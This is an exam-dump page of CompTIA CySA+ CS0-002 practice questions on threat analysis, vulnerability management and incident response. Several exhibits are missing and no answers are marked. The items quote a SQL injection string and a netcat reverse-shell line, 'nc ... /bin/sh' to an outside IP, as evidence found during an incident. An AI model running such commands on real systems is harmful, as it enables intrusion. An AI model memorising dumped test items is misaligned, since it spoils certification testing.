Free CS0-002 Exam Braindumps certification guide Q&A [Q69-Q93]

5/5 - (1 vote)

Free CS0-002 Exam Braindumps certification guide Q&A

CS0-002 Certification Overview Latest CS0-002 PDF Dumps

Q69. An analyst is detecting Linux machines on a Windows network. Which of the following tools should be used to detect a computer operating system?

whois

netstat

nmap

nslookup

Q70. Following a data compromise, a cybersecurity analyst noticed the following executed query:
SELECT * from Users WHERE name = rick OR 1=1
Which of the following attacks occurred, and which of the following technical security controls would BEST reduce the risk of future impact from this attack? (Select TWO).

Cookie encryption

XSS attack

Parameter validation

Character blacklist

Malicious code execution

SQL injection

Q71. A company was recently awarded several large government contracts and wants to determine its current risk from one specific APT.
Which of the following threat modeling methodologies would be the MOST appropriate to use during this analysis?

Attack vectors

Adversary capability

Diamond Model of Intrusion Analysis

Kill chain

Total attack surface

Q72. SIMULATION
The developers recently deployed new code to three web servers. A daily automated external device scan report shows server vulnerabilities that are failing items according to PCI DSS.
If the vulnerability is not valid, the analyst must take the proper steps to get the scan clean.
If the vulnerability is valid, the analyst must remediate the finding.
After reviewing the information provided in the network diagram, select the STEP 2 tab to complete the simulation by selecting the correct Validation Result and Remediation Action for each server listed using the drop-down options.
Instructions
STEP 1: Review the information provided in the network diagram.
STEP 2: Given the scenario, determine which remediation action is required to address the vulnerability.
If at any time you would like to bring back the initial state of the simulation, please select the Reset All button.

Q73. After reading about data breaches at a competing company, senior leaders in an organization have grown increasingly concerned about social engineering attacks. They want to increase awareness among staff regarding this threat, but do not want to use traditional training methods because they regard these methods as ineffective. Which of the following approaches would BEST meet the requirements?

Classroom training on the dangers of social media followed by a test and gift certificates for any employee getting a perfect score.

Simulated phishing emails asking employees to reply to the email with their updated phone number and office location

A poster contest to raise awareness of PII and asking employees to provide examples of data breaches and consequences

USB drives randomly placed inside and outside the organization that contain a pop-up warning to any users who plug the drive into their computer

Q74. A product manager is working with an analyst to design a new application that will perform as a data analytics platform and will be accessible via a web browser. The product manager suggests using a PaaS provider to host the application.
Which of the following is a security concern when using a PaaS solution?

The use of infrastructure-as-code capabilities leads to an increased attack surface.

Patching the underlying application server becomes the responsibility of the client.

The application is unable to use encryption at the database level.

Insecure application programming interfaces can lead to data compromise.

Q75. An analyst has been asked to provide feedback regarding the controls required by a revised regulatory framework. At this time, the analyst only needs to focus on the technical controls.
Which of the following should the analyst provide an assessment of?

Tokenization of sensitive data

Establishment of data classifications

Reporting on data retention and purging activities

Formal identification of data ownership

Execution of NDAs

Q76. Which of the following policies BEST explains the purpose of a data ownership policy?

The policy should describe the roles and responsibilities between users and managers, and the management of specific data types.

The policy should establish the protocol for retaining information types based on regulatory or business needs.

The policy should document practices that users must adhere to in order to access data on the corporate network or Internet.

The policy should outline the organization’s administration of accounts for authorized users to access the appropriate data.

Q77. During an audit several customer order forms were found to contain inconsistencies between the actual price of an item and the amount charged to the customer Further investigation narrowed the cause of the issue to manipulation of the public-facing web form used by customers to order products Which of the following would be the BEST way to locate this issue?

Reduce the session timeout threshold

Deploy MFA for access to the web server

Implement input validation

Run a static code scan

Q78. A company’s domain has been spooled in numerous phishing campaigns. An analyst needs to determine the company is a victim of domain spoofing, despite having a DMARC record that should tell mailbox providers to ignore any email that fails DMARC upon review of the record, the analyst finds the following:

Which of the following BEST explains the reason why the company’s requirements are not being processed correctly by mailbox providers?

The DMARC record’s DKIM alignment tag Is incorrectly configured.

The DMARC record’s policy tag is incorrectly configured.

The DMARC record does not have an SPF alignment lag.

The DMARC record’s version tag is set to DMARC1 instead of the current version, which is DMARC3.

Q79. A cybersecurity analyst is currently checking a newly deployed server that has an access control list applied. When conducting the scan, the analyst received the following code snippet of results:

Which of the following describes the output of this scan?

The analyst has discovered a False Positive, and the status code is incorrect providing an OK message.

The analyst has discovered a True Positive, and the status code is correct providing a file not found error message.

The analyst has discovered a True Positive, and the status code is incorrect providing a forbidden message.

The analyst has discovered a False Positive, and the status code is incorrect providing a server error message.

Q80. Data spillage occurred when an employee accidentally emailed a sensitive file to an external recipient.
Which of the following controls would have MOST likely prevented this incident?

SSO

DLP

WAF

VDI

Q81. A software patch has been released to remove vulnerabilities from company’s software.
A security analyst has been tasked with testing the software to ensure the vulnerabilities have been remediated and the application is still functioning properly.
Which of the following tests should be performed NEXT?

Fuzzing

User acceptance testing

Regression testing

Penetration testing

Q82. A security analyst has been asked to remediate a server vulnerability.
Once the analyst has located a patch for the vulnerability, which of the following should happen NEXT?

Start the change control process.

Rescan to ensure the vulnerability still exists.

Implement continuous monitoring.

Begin the incident response process.

Q83. A security analyst is investigating the possible compromise of a production server for the company’s public-facing portal. The analyst runs a vulnerability scan against the server and receives the following output:

In some of the portal’s startup command files, the following command appears:
nc -o /bin/sh 72.14.1.36 4444
Investigating further, the analyst runs Netstat and obtains the following output

Which of the following is the best step for the analyst to take NEXT?

Initiate the security incident response process

Recommend training to avoid mistakes in production command files

Delete the unknown files from the production servers

Patch a new vulnerability that has been discovered

Manually review the robots .txt file for errors

Q84. A cybersecurity analyst is contributing to a team hunt on an organization’s endpoints.
Which of the following should the analyst do FIRST?

Write detection logic.

Establish a hypothesis.

Profile the threat actors and activities.

Perform a process analysis.

Q85. During an incident, a cybersecurity analyst found several entries in the web server logs that are related to an IP with a bad reputation . Which of the following would cause the analyst to further review the incident?
A)

B)

C)

D)

E)

Option A

Option B

Option C

Option D

Option E

Q86. Welcome to the Enterprise Help Desk System. Please work the ticket escalated to you in the desk ticket queue.
INSTRUCTIONS
Click on me ticket to see the ticket details Additional content is available on tabs within the ticket First, select the appropriate issue from the drop-down menu. Then, select the MOST likely root cause from second drop-down menu If at any time you would like to bring back the initial state of the simulation, please click the Reset All button

Q87. A software development company in the manufacturing sector has just completed the alpha version of its flagship application. The application has been under development for the past three years. The SOC has seen intrusion attempts made by indicators associated with a particular APT.
The company has a hot site location for COOP. Which of the following threats would most likely incur the BIGGEST economic impact for the company?

DDoS

ICS destruction

IP theft

IPS evasion

Q88. While reviewing log files, a security analyst uncovers a brute-force attack that is being performed against an external webmail portal. Which of the following would be BEST to prevent this type of attack from beinq successful1?

Implement MFA on the email portal using out-of-band code delivery.

Create a new rule in the IDS that triggers an alert on repeated login attempts

Leverage password filters to prevent weak passwords on employee accounts from being exploited.

Alter the lockout policy to ensure users are permanently locked out after five attempts.

Configure a WAF with brute force protection rules in block mode

Q89. A company employee downloads an application from the internet. After the installation, the employee begins experiencing noticeable performance issues, and files are appearing on the desktop.

Which of the following processes will the secuhty analyst Identify as the MOST likely indicator of system compromise given the processes running in Task Manager?

Chrome.exe

Word.exe

Explorer.exe

mstsc.exe

taskmgr.exe

Q90. A security analyst reviews the following aggregated output from an Nmap scan and the border firewall ACL:

Which of the following should the analyst reconfigure to BEST reduce organizational risk while maintaining current functionality?

PC1

PC2

Server1

Server2

Firewall

Q91. To validate local system-hardening requirements, which of the following types of vulnerability scans would work BEST to verify the scanned device meets security policies?

SCAP

SAST

DAST

DACS

Q92. While analyzing logs from a WAF, a cybersecurity analyst finds the following:

Which of the following BEST describes what the analyst has found?